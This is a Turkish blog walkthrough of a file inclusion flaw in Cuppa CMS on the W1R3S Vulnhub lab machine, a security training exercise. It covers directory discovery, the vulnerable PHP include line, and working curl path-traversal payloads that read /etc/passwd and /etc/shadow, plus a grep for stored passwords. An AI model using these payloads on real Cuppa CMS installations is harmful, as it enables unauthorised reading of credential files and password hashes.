Cuppa CMS Üzerinde Dosya Dahil Etme Zafiyetinin İstismarı

0
79
views
Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir zafiyet sebebi ile beklenmeyen dosyalar web uygulaması tarafından çalıştırılabilir. Bu yazıda, W1R3S: 1.0.1 sanal makinesindeki Cuppa CMS‘teki dosya dahil etme (File Inclusion) zafiyeti istismar edilecektir.

Yazıda kullanılan W1R3S: 1.0.1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/w1r3s-101,220/

 

Sanal makinenin TCP\80 portunda Apache servisi koşmaktadır.

http://192.168.106.129

 

Uygulamadaki dizinlerin keşfi için Github üzerindeki dirsearch aracı kullanılabilir.

git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
./dirsearch.py -u http://192.168.106.129 -w /usr/share/dirb/wordlists/common.txt -e * -t 3

 

Derinlemesine keşif için dirsearch aracına “recursive” seçeneği de kullanılabilir.

./dirsearch.py -u http://192.168.106.129 -w /usr/share/dirb/wordlists/common.txt -e * -t 3 -r -R 4

 

Keşfedilen “administrator” dizinine gidildiğinde otomatik olarak “installation” dizinine yönlenmektedir.

whatweb http://192.168.106.129/administrator

 

Kurulum sayfasında veya “Next” butonuna tıklandığında gelen sayfanın başlığında Cuppa CMS kullanıldığı görülmektedir.

 

Cuppa CMS ile ilgili zafiyetler incelendiğinde LFI/RFI zafiyeti tespit edilmiştir.

searchsploit cuppa
searchsploit -m 25971

 

Zafiyet detayları incelendiğinde alertConfigField.php dosyasındaki kontrol eksikliğinin zafiyete sebebiyet verildiği görülmektedir.

 

Zafiyeti görebilmek için Cuppa CMS’in kaynak kodu internetten veya sanal makineden elde edilebilir. Cuppa CMS’in en güncel sürümünde de zafiyetin devam ettiği görülmektedir.

  • https://github.com/CuppaCMS/CuppaCMS
  • http://cuppacms.com/files/cuppa_cms.zip
  • http://192.168.106.129/cuppa_cms.zip

 

alertConfigField.php” dosyasının 77. satırında “include” fonksiyonuna istemci tarafından doğrudan veri gönderilebildiği ve sunucu tarafında da herhangi bir kontrolün yapılmadığı görülmektedir.

<div id=”content_alert_config” class=”content_alert_config”>
<?php include “../components/table_manager/fields/config/”.@$cuppa->POST(“urlConfig”); ?>
</div>

 

Zafiyetin istismarı için web tarayıcı kullanıldığında beklendiği gibi cevap alınamadığı için, URL kodlayarak “curl” aracı kullanılabilir.

curl -s –data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.106.129/administrator/alerts/alertConfigField.php | grep “class=\”content_alert_config\”” -A50

 

Benzer işlem /etc/shadow için yapıldığında da dosyanın okunabildiği görülmektedir.

curl -s –data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.106.129/administrator/alerts/alertConfigField.php | grep “class=\”content_alert_config\”” -A50 | grep -Ev “:\*:”

 

Not: Bu sanal makinede Cuppa CMS’i çalıştıran Apache uygulama kullanıcısının (www-data) standart bir hesap olduğu görülmektedir. Ancak /etc/shadow dosyasının içeriğinin okuma ve yazma yetkisi tüm kullanıcılara (Everyone / Others) verildiği için “www-data” kullanıcısının yetkisi ile işletim sistemindeki kullanıcıların parola özetleri okunabilmektedir.

netstat -nlpt
ps -ef | grep 1488
groups www-data
ls -la /etc/shadow

 

Sanal makinedeki Cuppa CMS’in yapılandırma dosyası incelendiğinde varsayılan kimlik bilgilerinin değiştirildiği de görülmektedir.

cat Configuration.php | grep -i ‘$password’ -A3 -B3

 

Kaynaklar:

http://www.hackingarticles.in/hack-the-w1r3s-inc-vm-ctf-challenge/
https://hackso.me/w1r3s-1.0.1-walkthrough/
https://tools.cisco.com/security/center/viewAlert.x?alertId=33308

https://timms.io/writeup/vm/blog/2018/12/01/w1r3s-walkthrough/
https://github.com/C0reL0ader/EaST/blob/master/exploits/ef_cuppacms_lfi.py

 

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz